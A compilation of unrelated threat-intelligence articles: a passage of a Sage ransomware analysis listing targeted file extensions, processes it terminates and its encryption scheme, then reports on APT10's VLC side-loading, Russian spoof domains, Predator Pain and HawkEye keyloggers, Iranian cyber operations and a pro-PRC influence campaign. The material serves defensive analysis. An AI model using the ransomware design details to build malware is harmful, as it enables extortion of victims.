fpx pcx rif tga wpg wi wmf tif xcf tiff xpm nef orf ra bay pcd dng ptx r3d
raf rw2 rwl kdc yuv sr2 srf dip x3f mef raw log odg uop potx potm pptx rss
pptm aaf xla sxd pot eps as3 pns wpd wps msg pps xlam xll ost sti sxi otp
odp wks vcf xltx xltm xlsx xlsm xlsb cntk xlw xlt xlm xlc dif sxc vsd ots
prn ods hwp dotm dotx docm docx dot cal shw sldm txt csv mac met wk3 wk4
uot rtf sldx xls ppt stw sxw dtd eml ott odt doc odm ppsm xlr odc xlk ppsx
obi ppam text docb wb2 mda wk1 sxm otg oab cmd bat h asx lua pl as hpp clas
js fla py rb jsp cs c jar java asp vb vbs asm pas cpp xml php plb asc lay6
pp4 pp5 ppf pat sct ms11 lay iff ldf tbk swf brd css dxf dds efx sch dch
ses mml fon gif psd html ico ipe dwg jng cdr aep aepx 123 prel prpr aet
fim pfb ppj indd mhtm cmx cpt csl indl dsf ds4 drw indt pdd per lcd pct
prf pst inx plt idml pmd psp ttf 3dm ai 3ds ps cpx str cgm clk cdx xhtm
cdt fmv aes gem max svg mid iif nd 2017 tt20 qsm 2015 2014 2013 aif qbw
qbb qbm ptb qbi qbr 2012 des v30 qbo stc lgb qwc qbp qba tlg qbx qby 1pa
ach qpd gdb tax qif t14 qdf ofx qfx t13 ebc ebq 2016 tax2 mye myox ets
tt14 epb 500 txf t15 t11 gpc qtx itf tt13 t10 qsd iban ofc bc9 mny 13t
qxf amj m14 _vc tbp qbk aci npc qbmb sba cfp nv2 tfx n43 let tt12 210
dac slp qb20 saj zdb tt15 ssg t09 epa qch pd6 rdy sic ta1 lmr pr5 op sdy
brw vnd esv kd3 vmb qph t08 qel m12 pvc q43 etq u12 hsr ati t00 mmw bd2
ac2 qpb tt11 zix ec8 nv lid qmtf hif lld quic mbsb nl2 qml wac cf8 vbpf
m10 qix t04 qpg quo ptdb gto pr0 vdf q01 fcr gnc ldc t05 t06 tom tt10
qb1 t01 rpf t02 tax1 1pe skg pls t03 xaa dgc mnp qdt mn8 ptk t07 chg
#vc qfi acc m11 kb7 q09 esk 09i cpw sbf mql dxi kmo md u11 oet ta8 efs
h12 mne ebd fef qpi mn5 exp m16 09t 00c qmt cfdi u10 s12 qme int? cf9
ta5 u08 mmb qnx q07 tb2 say ab4 pma defx tkr q06 tpl ta2 qob m15 fca eqb
q00 mn4 lhr t99 mn9 qem scd mwi mrq q98 i2b mn6 q08 kmy bk2 stm mn1 bc8
pfd bgt hts tax0 cb resx mn7 08i mn3 ch meta 07i rcs dtl ta9 mem seam
btif 11t efsl $ac emp imp fxw sbc bpw mlb 10t fa1 saf trm fa2 pr2 xeq
sbd fcpa ta6 tdr acm lin dsb vyp emd pr1 mn2 bpf mws h11 pr3 gsb mlc
nni cus ldr ta4 inv omf reb qdfx pg coa rec rda ffd ml2 ddd ess qbmd
afm d07 vyr acr dtau ml9 bd3 pcif cat h10 ent fyc p08 jsd zka hbk bkf
mone pr4 qw5 cdf gfi cht por qbz ens 3pe pxa intu trn 3me 07g jsda
2011 fcpr qwmo t12 pfx p7b der nap p12 p7c crt csr pem gpg key
```
In order to access all the files without any interference, Sage searches and terminates any associated processes. Processes are identified by their names:
- msftesql.exe
- sqlagent.exe
- sqlbrowser.exe
- sqlservr.exe
- sqlwriter.exe
- oracle.exe
- ocssd.exe
- dbsnmp.exe
- synctime.exe
- mydesktopqos.exe
- agntsvc.exe
- isqlplussvc.exe
- xfssvccon.exe
- mydesktopservice.exe
- ocautoupds.exe
- encsvc.exe
- firefoxconfig.exe
- tbirdconfig.exe
- ocomm.exe
- mysqld.exe
- mysqld-nt.exe
- mysqld-opt.exe
- dbeng50.exe
- sqbcoreservice.exe
As is common in ransomware, some paths are excluded from the attack. In this case, blacklisted are not only system directories, but also others related to popular games like “League of Legends”, “steamapps”, “GOG Games”, etc.
Systems with the following keyboard layouts are omitted by Sage 2.2: Belarusian, Kazak, Ukrainian, Uzbek, Sakha, Russian, Latvian.
## How Does the Encryption Work?
Sage uses two cryptographic algorithms: Elliptic Curves and ChaCha20. ChaCha20 is used to encrypt the content of each file, while ECC is used to protect the randomly generated keys. Each random key is retrieved using a cryptographically secure generator (SystemFunction036). The filled buffer is preprocessed by a simple algorithm.
At the beginning of the execution, Sage creates a random buffer and encrypts it using ECC. The buffer created in the first round of encryption is referred to as the Victim ID, and the output of the next rounds is referred to as the Encrypted Victim ID. In the first round, the random value is encrypted using ECC, producing the Victim ID. In the second round, the same random value is encrypted using ECC along with another buffer that is hardcoded in the binary. The output is processed similarly to the random buffer. In the third round, the resulting buffer is again encrypted by ECC – producing the Encrypted Victim ID. Both output buffers are kept in the memory of the application and used further (also they are saved in the TMP file dropped in %APPDATA% folder).
The victim ID is also saved in the ransom note, in Base64 version. The character set is slightly modified in comparison to the classic Base64. In order to decode it as Base64, we must replace ‘-‘ with ‘+’ and ‘_’ with ‘/’.
In addition, the Victim ID is also saved in each and every encrypted file. The Encrypted Victim ID takes part in encrypting the file’s content (as a key unique per victim).
## File Encryption
At the beginning of the file encrypting function, a new 32 bytes long key is generated (unique per each file). The random number is encrypted with the help of ECC twice:
- Individually – to make the key1 that is stored in the file
- Along with the Encrypted Victim’s ID – to make the key2, used by ChaCha20
The file is encrypted chunk by chunk (the maximal chunk size is 0x20000) with the help of ChaCha20. At the end of the file, the first derived key (key1) and some additional data is appended. Appended data is separated from the encrypted file’s content by two hard-coded markers: `0x5A9EDEAD` and `0x5A9EBABE`.
## Network Communication
Sage does not need any data from the CnC in order to work. However, as mentioned before, it may generate some UDP traffic. It is because it has capabilities to send some data about the attacked system. Depending on the configuration, the data may be sent either via UDP or via HTTP POST request. The data is encrypted before being sent – also with the help of the ChaCha20 algorithm.
## Adding Icons
An interesting and uncommon feature deployed by Sage is the change of icons for the used datatypes. A padlock icon is added to the encrypted files with the `.sage` extension, and a key icon is added to the files with `.hta` extensions (that are used for the ransom notes). Icon change is implemented via setting appropriate registry keys.
## Conclusion
Sage, similar to Spora, uses a complex way of deriving keys. So far, there is no solution that would allow recovering files without paying the ransom – that’s why we recommend focusing on prevention. Malwarebytes 3.0 Premium users are protected from Sage ransomware as long as it is installed prior to being infected. |
# Chinese Hackers Abuse VLC Media Player to Launch Malware Loader
Security researchers have uncovered a long-running malicious campaign from hackers associated with the Chinese government who are using VLC Media Player to launch a custom malware loader. The campaign appears to serve espionage purposes and has targeted various entities involved in government, legal, and religious activities, as well as non-governmental organizations (NGOs) on at least three continents. This activity has been attributed to a threat actor tracked as Cicada (a.k.a. menuPass, Stone Panda, Potassium, APT10, Red Apollo) that has been active for more than 15 years, since at least 2006.
## Using VLC to Deploy Custom Malware Loader
The start of Cicada’s current campaign has been tracked to mid-2021 and was still active in February 2022. Researchers say that this activity may continue today. There is evidence that some initial access to some of the breached networks was through a Microsoft Exchange server, indicating that the actor exploited a known vulnerability on unpatched machines.
Researchers at Symantec, a division of Broadcom, found that after gaining access to the target machine, the attacker deployed a custom loader on compromised systems with the help of the popular VLC media player. Brigid O Gorman of Symantec Threat Hunter Team told BleepingComputer that the attacker uses a clean version of VLC with a malicious DLL file in the same path as the media player's export functions. The technique is known as DLL side-loading and it is widely used by threat actors to load malware into legitimate processes to hide the malicious activity.
Apart from the custom loader, which O Gorman said Symantec does not have a name for but has been seen in previous attacks attributed to Cicada/APT10, the adversary also deployed a WinVNC server to gain remote control over victim systems. The attacker also executed the Sodamaster backdoor on compromised networks, a tool believed to be used exclusively by the Cicada threat group since at least 2020. Sodamaster runs in the system memory (fileless) and is equipped to evade detection by looking in the registry for clues of a sandbox environment or by delaying its execution. The malware can also collect details about the system, search for running processes, and download and execute various payloads from the command and control server.
Several other utilities have been observed in this campaign, including:
- **RAR archiving tool** - helps compress, encrypt, or archive files, likely for exfiltration
- **System/Network discovery** - a way for attackers to learn about the systems or services connected to an infected machine
- **WMIExec** - Microsoft command-line tool that can be used to execute commands on remote computers
- **NBTScan** - an open-source tool that has been observed being used by APT groups for reconnaissance in a compromised network
The attackers’ dwell time on the networks of some of the discovered victims lasted for as long as nine months, the researchers note in a report today.
## A Wider Focus
Many of the organizations targeted in this campaign appear to be government-related or NGOs (involved in educational or religious activities), as well as companies in the telecommunications, legal, and pharmaceutical sectors. Symantec researchers highlight the wide geography of this Cicada campaign, which counts victims in the U.S., Canada, Hong Kong, Turkey, Israel, India, Montenegro, and Italy. To note, only one victim is from Japan, a country that has been the focus of the Cicada group for many years.
Compared to the previous targeting from this group, which focused on Japanese-linked companies, the victims in this campaign indicate that the threat actor has broadened its interest. While focused on Japanese-linked companies, Cicada has targeted in the past healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors. At least two members of the APT10 threat group have been charged in the U.S. for computer hacking activity to help the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau get intellectual property and confidential business information from managed service providers, U.S. government agencies, and over 45 technology companies. |
# Intel tr1adx Intelligence Bulletin (TIB) 00003: Bear Spotting Vol. 1: Russian Nation State Targeting of Government and Military Interests
**Published:** January 9, 2017
**Last Updated:** January 15, 2017
## Summary
The tr1adx team performs ongoing research into Threat Actors, irrespective of their motivation, provenance, or targets. tr1adx Intelligence Bulletin #00003 shares intel on Russian Nation State Cyber Activity targeting Government and Military interests around the world. Please note this is an active bulletin, meaning we will occasionally add intel and information to this bulletin as we uncover new campaigns, targets, or actors which meet the criteria. tr1adx's research was able to identify targets in various countries and/or regions, including:
- Turkey
- Japan
- Denmark
- United States
- Venezuela
- India
- NATO Affiliated Targets
- United Nations
## Analysis
TTPs associated with Russian Nation State Threat Actors (Civil and Military Intelligence/GRU/APT28/APT29) allow us to track these Threat Actors' activities with a high/moderate degree of confidence and follow their trail of breadcrumbs through past, present, and future campaigns. While, for operational security reasons, we cannot go into detail on our techniques, practices, and sources for intelligence collection and analysis, we can say that the majority of the information published in this bulletin is based on in-depth research leveraging available Open Source Intelligence (OSINT) sources. In a few cases, intel data has been enriched by, derived from, and collected through other non-OSINT means.
## Indicators of Compromise
**Added on 2017-01-15:**
| Domain | Creation Date | Campaign Status | Targeted Org | Targeted Country | Targeted Domain | Analyst Notes |
|------------------------|---------------|-----------------|---------------------------------------|------------------|------------------|----------------|
| dpko[.]info | 2016-10-29 | Unknown | United Nations (UN) | United States | un.org | UN DPKO website |
| unausanyc[.]com | 2015-12-02 | Unknown | United Nations Association of New York | United States | unanyc.org | Identified phishing originating from this domain targeting the Venezuelan government (minpal.gob.ve) |
| ausa[.]info | 2015-07-19 | Inactive | Association of the United States Army | United States | ausa.org | ESET identified similar indicator in their APT28/Sednit report. |
| mea-gov[.]in | 2015-02-20 | Inactive | Ministry of External Affairs (MEA) | India | mea.gov.in | N/A |
| mfa-news[.]com | 2015-04-30 | Inactive | Ministry of Foreign Affairs (MFA) | N/A | N/A | Fake news site |
| defenceinform[.]com | 2015-05-05 | Inactive | MDefense Related | N/A | N/A | Fake news site |
| middleeastreview[.]com | 2015-04-15 | Inactive | Middle East Review of International Affairs (MERIA) | United States | rubincenter.org | N/A |
| foreign-review[.]com | 2015-04-14 | Inactive | Foreign Affairs | N/A | N/A | Fake news site |
**Added on 2017-01-09:**
| Domain | Creation Date | Campaign Status | Targeted Org | Targeted Country | Targeted Domain | Analyst Notes |
|------------------------|---------------|-----------------|---------------------------------------|------------------|------------------|----------------|
| afceaint[.]org | 2016-11-02 | Inactive | Armed Forces Communications and Electronics Association (AFCEA) | United States | afcea.org | Identified 2 related indicators, one of which ties in to another campaign: ns1[.]afceaint[.]org (216.155.143.28) ns2[.]afceaint[.]org (216.155.143.27) |
| af-army[.]us | 2016-10-17 | Active | Army / Air Force | United States | army.mil / af.mil | The af-army[.]us domain was seen resolving to 167.114.35.70, which is listed as one of the IP addresses in the GRIZZLY STEPPE report. |
| webmail-mil[.]dk | 2015-03-25 | Inactive | Defence Command | Denmark | webmail.mil.dk | Domain was hosted on 216.155.143.27, also seen in AFCEA campaign. |
| nato-nevvs[.]org | 2016-10-05 | Unknown | North Atlantic Treaty Organization (NATO) Affiliates | N/A | N/A | N/A |
| jimin-jp[.]biz | 2016-12-27 | Active | Liberal Democratic Party of Japan | Japan | jimin.jp | Per our Japanese Gov't sources, domain has been observed in targeted malware. |
| jica-go-jp[.]biz | 2016-12-27 | Active | Japan International Cooperation Agency | Japan | jica.go.jp | Per our Japanese Gov't sources, domain has been observed in targeted malware. |
| mofa-go-jp[.]com | 2016-12-27 | Active | Ministry of Foreign Affairs | Japan | mofa.go.jp | Per our Japanese Gov't sources, domain has been observed in targeted malware. |
| turkey-mia[.]com | 2016-12-20 | Active | Ministry of Interior Ankara (MIA) | Turkey | mia.gov.tr | Spoofed domain points to legitimate MIA domain: icisleri.gov.tr |
| turkey-icisleri[.]com | 2016-12-20 | Active | Ministry of Interior Ankara (MIA) | Turkey | icisleri.gov.tr | Spoofed domain points to legitimate MIA domain: icisleri.gov.tr |
(*) Legitimate organization appears to have claimed control over the spoofed/mimicked domain.
If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate. |
# Surveillance Malware Trends: Tracking Predator Pain and HawkEye
**By Rob Downs**
**October 16, 2015**
**Category:** Malware, Threat Prevention, Unit 42
**Tags:** AutoFocus, HawkEye, keyloggers, Predator Pain
Malicious actors employ a range of tools to achieve their objectives. One of the most damaging activities an actor pursues is the theft of authentication information, whether it applies to business or personal accounts. Unless specifically mitigated, this theft often allows an unauthorized actor to masquerade as the victim, either achieving immediate gains or creating a platform from which progressive attack campaigns may launch.
There are a number of threats that endanger the critical secrecy of credentials, including poor operational security practices, social engineering, man-in-the-middle attacks, password hash dumping and cracking, and surveillance malware. In this post, Unit 42 examines various trends in a malware threat set within the surveillance malware category: Predator Pain and its latest derivative, HawkEye.
## Threat Background
Surveillance malware covers a broad range of capabilities, including:
- Capture of keyboard and/or input device (e.g., mouse) activity, with window/process awareness (keylogging)
- Taking asset display screen shots or video (display capturing)
- Assuming control of cameras and/or microphones attached to an asset (live surveillance)
- Interception of network communications (sniffing)
Each of these capabilities can be qualified by its scope (i.e., types of information collected) and method (ranging in techniques and sophistication). Additionally, some surveillance software includes its own exfiltration mechanism, while others may depend on external software to accomplish the transfer of captured information.
Both Predator Pain and HawkEye are considered keyloggers, but they also include additional features, such as web browser and e-mail client credential dumping, display capture, and captured information exfiltration. HawkEye is openly sold on a commercial website, whereas Predator Pain is usually acquired through underground forums. Associated features have made this set of malware popular with malicious actors across a number of motivations; however, the most prevalent motivation remains cyber crime, in which stolen information is directly exploited or sold for financial gain.
## Trending and Analysis: July 2015-September 2015
The following sections describe Predator Pain and HawkEye trending and analysis conducted by Unit 42 from July 2015 through September 2015. We leveraged the Palo Alto Networks AutoFocus service, under which this threat set is tagged as PredatorPain.
### Target Selection
Almost all of the adversaries Unit 42 observed employing this malware threat set harvest publicly disclosed or leaked e-mail addresses to construct phishing campaign targeting lists. These lists are mostly indiscriminant, with malicious actors seeking any opportunistic gains they can glean from “shotgun” style attack campaigns. The natural exposure of businesses with publicly advertised e-mail addresses (e.g., sales@<domain> or info@<domain>) makes for easy targeting of what typically represents key organizational e-mail distributions. In other words, these distributions normally reach a number of staff at the target organization who are motivated by their importance to business, increasing the likelihood of them inadvertently executing malicious code on their systems.
### Threat Volume
Observed sessions revealed an interesting pattern in distribution volume ramping up on Sunday for peaks over Monday through Wednesday, with significant volume dropping from Thursday onward. We believe this corresponds with focused business targeting early in the workweek, per the previously noted targeting process employed by most cyber crime actors.
### Delivery
Exploring respective phishing attacks further revealed the following lure themes:
- Notification or issues with product order or shipping
- Notification or issues with payment, purchase order, invoice, or billing
- Product or service quotation request
- Confusing, random, and/or purportedly personal topics
**Table 1: Lure theming examples for e-mail attacks, July - September 2015**
| Email Subject | Email Attachment Filename |
|---------------|---------------------------|
| Re: Purchase Order | PO #5479423.exe |
| M.V. Chuetsu Spirit V.62A - SI / agency appointment / PDI | CHUETSU DREAM V.26A SI HK.scr |
| DHL AWB# 34 5673 0015 / shipment | payment.exe |
| New Order | ORDER.exe |
| Quotation. | purchase order.exe |
Respective malware delivered via malicious e-mail mainly consisted of Microsoft Windows Portable Executable (PE) 32-bit and 64-bit binaries. Microsoft Word or RTF documents constituted the remainder of malicious files. Attempted downloads of this threat from web and FTP sites were also observed; however, these represented drastically lower occurrences.
### Observed Targeting
With these distribution methods in mind, Figure 3 shows an AutoFocus visualization for the 80 countries Unit 42 observed as targeted by the Predator Pain and HawkEye threat set during the noted time period.
Not surprisingly, the top-ten list of most highly targeted countries includes 7 of the 23 wealthiest in the world, based on GDP per capita:
- United States
- Australia
- Canada
- Thailand
- Taiwan ROC
- Kuwait
- Japan
- Spain
- Italy
- Sweden
The top ten targeted industries accounted for 82% of sessions:
- High Tech
- Higher Education
- Manufacturing
- Professional and Legal Services
- Transportation and Logistics
- Wholesale and Retail
- Construction
- Media and Entertainment
- Telecommunications
- Government
We suggest three reasons based on this combination of observed countries and industries targeted:
1. Innovative organizations are prime targets for a number of adversary motivations due to the capabilities and intellectual capital they aggregate.
2. Service-oriented businesses, striving to develop customer relationships, are more likely to fall victim to phishing attacks due to both organizational culture and incentives for client and customer engagement.
3. Natural target saturation occurs within countries with established or thriving infrastructure, enabling malicious actors to reach a broader range of targets remotely through technology.
### Prevalent Malware Capabilities
The Predator Pain and HawkEye set of malware is feature-rich compared to most other keyloggers. The following are the capabilities Unit 42 observed as most often enabled for this threat set during the focal time period (ordered by prevalence):
- E-mail client credential dump
- Web browser credential dump
- Collection of system configuration information
- Logging of web browser activity
- Logging of e-mail activity
- Screenshot grabbing
### Exfiltration Method Break-Out
This threat set includes three main methods of exfiltration: E-mail, PHP-based Web Panel, and FTP. The Predator Pain and HawkEye configurations analyzed by Unit 42 over the focal time period revealed the following break-out for exfiltration method, with e-mail constituting the preferred method across a number of malicious actors.
## Conclusion
Prevention is the best strategy when it comes to the threat posed by keyloggers, such as the Predator Pain and HawkEye set. System hardening, integrity assurance, software version and patch management, and user awareness are just the first steps towards threat mitigation.
### Recommendations
- **Employ multi-factor authentication:** Knowledge-based authentication relies on the secrecy of information. Including elements of what you have (i.e., hardware token) or what you are (i.e., biometrics) can reduce the value of respective stolen credentials for an adversary if that information only satisfies one level in the authentication process.
- **Limit the impact of stolen credential information:** Don’t share credentials across accounts and change those credentials periodically. Adversaries commonly engage in activities such as credential stuffing in an attempt to maximize benefits of stolen credentials.
- **Maximize network control and visibility:** The latest Verizon DBIR included the finding that in over 25% of breaches, the organization was notified of the breach through a third party. Inbound, outbound, and internal network traffic needs to be controlled and monitored. This is also useful for disrupting malware C2 and exfiltration channels.
- **Integrate anti-malware automated dynamic analysis (e.g., sandboxing):** Identify previously unknown threats before they become much larger problems on the network. Given the anti-detection tools at the disposal of adversaries, this is a modern necessity.
- **Implement network segmentation:** Avoid flat networks, where once an adversary is in they have unrestricted access to internal resources. Network segmentation is a best practice for exposing only enough information as is required for specific organizational processes, moving toward a “zero trust” model. In this context, it is about further limiting the access of an adversary should they successfully compromise credentials. |
# Cyber Warfare: Iran Opens a New Front
**Sam Jones**
April 26, 2016
With its nuclear programme curbed, digital weaponry has become even more central to Tehran’s arsenal. The first neighbourhood they unplugged was Olaya, Riyadh’s wealthiest and gaudiest central district. By the time they had finished their rampage through the computer systems behind the power grid, the infiltrators believed they had left millions without electricity, crippling hospitals and military facilities. What the hackers, whose use of Farsi and bespoke malware gave away their Iranian origins, did not realise was that the critical computer networks they had compromised were fake.
The network, complete with Arabic scripting and precise names of individual substations and pylons, was the work of MalCrawler, a cyber security group specialising in protecting industrial computer systems. It was just one of a set of intricate digital honeytraps designed to gauge the intentions of the attackers who routinely tried to crack into the systems owned by MalCrawler’s clients. Equally intricate models were made of European, American and Israeli power systems.
The evidence from the models aligned. The Chinese hungrily scooped up anything that looked like novel technical information. The Russians permeated deep into systems, mapping them and implanting hard-to-find backdoor access for potential future use. But neither dared do damage — unlike Iran. Among the world’s big five cyber superpowers — the US, UK, Israel, Russia and China — MalCrawler concluded there was a digital equilibrium in military cyber offence based on assumptions over deterrence and reprisal.
“But in the Middle East, that’s not the case at all,” says Dewan Chowdhury, MalCrawler’s chief executive. “The mindset just seemed completely different — it wasn’t espionage or some kind of targeted operation necessarily, it was just to do as much damage as possible.” The model MalCrawler designed to replicate the Israeli power grid was hit just as hard as the Saudi one. The hackers, again displaying tell-tale signs of Iranian origin, fatally compromised the safety systems of what they thought was one of Israel’s nuclear power stations.
Iran is rapidly emerging as the sixth member of the cyber superpower club. Denuded of its nuclear ambitions by the landmark deal struck last year to limit uranium and plutonium enrichment, some fear Tehran will wield its cyber arsenal as an equally long-range weapon with which to menace its adversaries. “Before the [nuclear] deal, cyber was just one option they used for leverage, but now, post deal, it is even more central to their toolkit,” says one senior Middle Eastern intelligence official. “Iran is poised to do something in cyber that will change the way the world looks at it . . . the US knows this. [The US] saw what they [Iran] did during the agreement and they know what they are doing after it.”
## Industrial Sabotage
While high-tech espionage is rife — for strategic state advantage and commercial and criminal gain — destructive acts of cyber attack remain rare. Iran is the only country that has both been on the receiving end of a major act of physical cyber-sabotage and the perpetrator of such an attack. In 2008, the Stuxnet computer worm, created by the US and Israel, was unleashed on Iran’s nuclear programme. In 2012, Iranian hackers struck Saudi Arabia’s national oil company, Saudi Aramco, nearly obliterating its corporate IT infrastructure, and bringing the company close to collapse.
Aramco was a wake-up call for Iran’s adversaries. Nearly four years on, just how strong are Iran’s cyber capabilities and what, if anything, will Tehran seek to do with them? “Their abilities are growing fast and they are diversifying. They’re getting harder and harder to track,” says one senior intelligence official from within the five-eyes alliance — the digital intelligence-sharing group comprising Australia, Canada, New Zealand, the UK and US. “There is certainly a big move towards having more destructive capability. They want to be able to do more Aramcos. Right now they are researching, practising.” Tehran says it spends $1bn a year on cyber programmes. By contrast, GCHQ, Britain’s electronic surveillance and cyber defence service, annually spends around $2bn.
While its industrial oil production systems were unaffected, Aramco was nearly fatally compromised because so much of its corporate infrastructure was destroyed. Company officials had to use typewriters and faxes to try and keep billions of dollars of oil trades from falling through. Domestically, the company gave oil away for several days following the attack because it could not process transactions. Christina Kubecka, a cyber security expert who worked for the oil company, told CNN last year that company officials flew to Southeast Asia to acquire as many computer hard drives as they could straight off factory floors.
But the Aramco incident was also a relatively unsophisticated hack. One senior security consultant who worked for the Saudi government in 2012 told the Financial Times that during the very early stages of the operation, the Iranian infiltrators — who dubbed themselves the Cutting Sword of Justice — stumbled on a Word document saved on an IT department hard drive, entitled: “Administrator passwords.”
Iran’s other big cyber operation at that time was Operation Ababil, attributed to a hacking group known as the Cyber Fighters of Izz ad-Din al-Qassam. It launched crude, but sustained attacks to try to overwhelm the websites of some of the US’s largest banks including JPMorgan and Bank of America Merrill Lynch. The group claimed no allegiance, but two senior western intelligence officials and other independent cyber security experts say it was an Iranian proxy. In March this year, the US justice department brought charges against seven Iranians who it said were responsible for the attacks. All worked for Iranian companies — fronts, said prosecutors, for Tehran’s Islamic Revolutionary Guards Corps.
The attacks were “the first shot across the bow,” says John Hultquist, director of cyber espionage analysis at iSight. “Since Aramco [and Ababil], we have seen significant development from Iran in terms of their operations and capabilities. I wouldn’t call them top tier in sophistication yet, but if I were to list off the most important threats globally — I would put them [in] there. The [importance] of what they are going after, and their sheer aggression, that’s the issue.”
## Lethal Kittens and Cleavers
Two hacking groups in particular highlight the development of Iran’s cyber capabilities. The first, known as Rocket Kitten, has been closely tracked by many in the cyber security industry since 2014. FireEye, a US digital security company, first identified it as “Ajax security team,” noting its use of a spear-phishing campaign — the use of legitimate-looking emails to snare targeted victims into opening malicious attachments or following links — to target Iranian dissidents and Israeli organisations. By 2015, however, other cyber security groups realised that Rocket Kitten, as it was rechristened, was using its own customised malware, not just off-the-shelf code, and was broadening its reach.
Last November, lapses in the Rocket Kitten security procedures allowed Check Point, an Israeli company, to access the hackers’ own software platform, called “Oyun.” Check Point discovered a sophisticated user-friendly application and within it a list of more than 1,842 “projects” — individuals targeted by hackers. When they ran through the list, they came up with a comprehensive breakdown of Rocket Kitten’s targets: 18 per cent were Saudi, 17 per cent from the US, 16 per cent Iranian and 5 per cent Israeli. They ranged from defence officials and contractors, to dissidents, journalists and politicians.
Two intelligence officials, one from Europe and the other from the Middle East, separately told the FT that Rocket Kitten was linked to the IRGC, which, they both added, dominates Tehran’s cyber warfare agenda. It is a second IRGC-backed group, however, that is of even more interest to western defence and security experts.
In December 2014, Cylance, a US cyber security firm, informed its clients of the activities of Iranian hackers engaged in a project it called Operation Cleaver. Based on a forensic analysis of the hackers’ activities, Cylance pointed to a group that dubbed itself “Tarh Andishan” — “the thinkers” in Farsi — as being behind the action. Thanks to domains, IP and residential addresses used by the hackers in Tehran, the research pointed to government-backed organisations as being ultimately responsible. Cylance declared Iran “the new China” for its aggressive actions in cyber space. Its report detailed a sophisticated online campaign, tracked over two years, that was using custom-built malware to deliberately infect and gain access to sensitive industrial control systems and critical infrastructure in companies across the globe.
The hackers behind Cleaver successfully infected the computers of hundreds of companies and sensitive organisations, from military systems, to oil and gas production controls, to airport and airline security databases. The countries hit hardest were not just the regional and traditional foes of Iran. They included places such as South Korea and Canada. “What Cleaver really brought to the surface was that these guys were aggressive, compromising critical infrastructure in missions that did not have any classic espionage outcome . . . the Iranians aren’t getting into airports and oil and gas companies for intelligence collection . . . these are systems to compromise in order to do harm,” says Mr Hultquist. “What was really eye-opening is that they were doing it globally.”
## Complex Picture
Knowing what Iran is technically capable of is only part of the picture. Since 2012, when Ayatollah Ali Khamenei, the Islamic republic’s supreme leader, established the supreme cyber council, it has been hardliners that have dominated control of it. “[Cyber] is folded into the larger context of political and military relationships that the [Iranian] leadership has to sit down and calculate, ‘When do I want to do this?’,” says Jim Lewis, director of technology and public policy at the Washington-based Center for Strategic and International Studies.
Much of Iran’s capability in cyber space stems from its efforts to control dissent and monitor émigrés in the wake of protests triggered by the flawed 2009 election and emergence of the Green movement. The Basij militias — the paramilitary, pro-regime forces under the direction of the IRGC — that were crucial in suppressing those protests are now a critical part of Iran’s cyber force. A second, more sophisticated and highly trained group within the guards is responsible for activities such as those seen in operation Cleaver, says one senior British security official. They make up Iran’s equivalent of an elite cyber force, and are the most worrying threat for the west.
Iran’s proxy cyber forces form a third component with Tehran accused of being one of the world’s most active cyber “proliferators,” providing damaging malware to groups such as Hizbollah, the Lebanese Shia militants. Such arrangements do raise questions over control — and just what is being done in Iran’s name without explicit sanction from Tehran. A Basij Cyber Council mobilises “hacktivists” within the Basij — often drawing from Iran’s large pool of young, computer-literate students — to further the Islamic Republic’s message both internally and externally. It is these groups that are responsible for much of the cruder and more belligerent activity in cyber space — defacing websites and attacking US, Saudi or Israeli companies with denial of service attacks, for example. While they are nurtured and encouraged by the IRGC, there is not necessarily a rigid command structure behind their activities. That makes them unpredictable — and difficult to deter.
In the months since the nuclear deal, MalCrawler, whose digital honeytraps are still in use, collecting data, has noticed a tail-off in Iranian activity. “We’re in a period of reorganisation in cyber space,” says Mr Chowdhury. But few expect that to remain the case. “In the short term, as sanctions come off, they want stability,” says one Israeli official, “so they are rethinking their attacks. But people need to understand that they are developing capabilities for use years from now.” Cyber, he says, is as core to Iran’s strategy as its ballistic missile programme. “Before cyber they were powerless,” says CSIS’s Mr Lewis. “They had to sit there and take it. We had sanctions, we had aircraft carriers off their coast. Now with cyber they can strike back.” |
# Pro-PRC Influence Campaign Expands to Dozens of Social Media Platforms, Websites, and Forums in at Least Seven Languages
**Threat Research Blog**
September 08, 2021 | by Ryan Serabian, Lee Foster
Mandiant information operations Threat Intelligence analysis
In June 2019, Mandiant Threat Intelligence first reported to customers a pro-People’s Republic of China (PRC) network of hundreds of inauthentic accounts on Twitter, Facebook, and YouTube, primarily focused on discrediting pro-democracy protests in Hong Kong. Since then, the broader activity set has rapidly expanded in size and scope and received widespread public attention following Twitter’s takedown of related accounts in August 2019. Numerous other researchers have published investigations into various aspects of this activity set, including Google’s Threat Analysis Group, Graphika, the Australian Strategic Policy Institute, the Stanford Internet Observatory, the Hoover Institution, and the Centre for Information Resilience.
Since we began tracking the campaign in mid-2019, we have observed multiple shifts in its tactics, many of which have been reported on publicly elsewhere, including the use of artificially generated photos for account profile pictures and the promotion of a wide variety of narrative themes related to current events, including multiple narratives related to the COVID-19 pandemic, narratives critical of Chinese dissident Guo Wengui and his associates, and narratives related to domestic U.S. political issues. However, other evolutions in the network’s activity do not appear to have been reported widely, and our aim with this blog post is to provide early warning of two significant developments that we believe are important to monitor despite the limited impact of the network so far:
- The scope of activity, in terms of languages and platforms used, is far broader than previously understood. Most reporting has highlighted English and Chinese-language activity occurring on the social media giants Facebook, Twitter, and YouTube. However, we have now observed this pro-PRC activity taking place on 30 social media platforms and over 40 additional websites and niche forums, and in additional languages including Russian, German, Spanish, Korean, and Japanese. While some platforms have hosted hundreds or thousands of accounts in the network, other platforms have hosted a smaller number. Collectively, these observations suggest the actors behind this campaign have significantly expanded their online footprint and appear to be attempting to establish a presence on as many platforms as possible to reach a variety of global audiences.
- Accounts in the network have actively sought to physically mobilize protestors in the U.S. in response to the COVID-19 pandemic, though we have seen no indication that these attempts motivated any real-world activity. While previous public reporting has highlighted limited instances of organic engagement with the network on Twitter and we have continued to track similar instances of organic engagement on both social media and niche online forums, this direct call for physical mobilization is a significant development compared to prior activity, potentially indicative of an emerging intent to motivate real-world activity outside of China’s territories. While this attempt did not appear to achieve any success, we believe it is critical that observers continue to monitor for such attempts in case greater degrees of organic engagement are later realized by the network.
## Activity Expands to Dozens of Social Media Platforms, Websites, and Forums in at Least Seven Languages
